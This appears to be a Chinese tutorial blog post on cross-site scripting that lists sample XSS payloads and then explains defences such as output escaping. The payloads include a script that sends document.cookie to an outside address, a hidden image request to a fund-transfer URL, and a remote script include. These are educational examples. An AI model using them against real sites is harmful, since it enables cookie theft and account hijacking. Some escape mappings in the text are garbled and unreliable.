▍XSSjavascript
跨站腳本攻擊(Cross Site Scripting),爲了避免和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。css
▍通俗來講html
通俗點說,就是經過在css或者html裏嵌入一些惡意的Javascript代碼,從而實現惡意攻擊的目的。java
那麼這些Javascript代碼又是如何嵌入進去的呢?jquery
▍XSS方式cookie
一、 輸入框中直接輸入惡意腳本,如:app
"><script>alert(document.cookie)</script>
或者xss
<script>document.location.href = 'http://127.0.0.1:9090/xss?foo=' + document.cookie</script>
二、輸入框中輸入html標籤,在標籤中嵌入惡意腳本,如src,href,css,style等。ui
<img src="javascript:alert('XSS');" /> <img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" /> <body background="javascript:alert('XSS');"></body> <style> li{ list-style-image: url("javascript:alert('XSS');"); } </style> <li>XSS</li>
三、將惡意腳本注入在event事件中,如onClick,onBlur,onMouseOver等事件。編碼
<a onmouseover="alert(document.cookie)">
xxslink
</a>
四、在remote style sheet,javascript中,如
<link rel="stylesheet" href="javascript:alert('XSS');" />
<script src="http://ha.ckers.org/xss.js"></script>
五、meta標籤,如
<meta http-equiv="refresh" content="5" />
<meta http-equiv="set-cookie" content="usetid=<script>alert('XSS')</script>" />
▍切記切記
用於不要把任何來自用戶的內容放到下面這些地方:
script標籤:<script> not here </script>
html註釋:<!-- not here -->
標籤名:<nothere href="/test.html" />
屬性:<div nothere="nothere" />
css值:{color : not here}
▍防範方法
網上防範XSS攻擊的方法一搜就一大堆,可是不管方法有多少,始終是萬變不離其宗。
一、轉義用戶的內容
a、HTML:對如下這些字符進行轉義:
&:&
<:&alt;
>:>
':'
":"
/:/
b、Javascript:把全部非字母、數字的字符都轉義成小於256的ASCII字符;
c、URL:使用Javascript的encodeURIComponent()方法對用戶的輸入進行編碼,該方法會編碼以下字符:, / ? : @ & = + $ #
二、添加用戶生成的內容
a、Javascript:使用textContent或者innerText,而不能使用innerHTML;
b、jquery:使用text(),而不能使用html();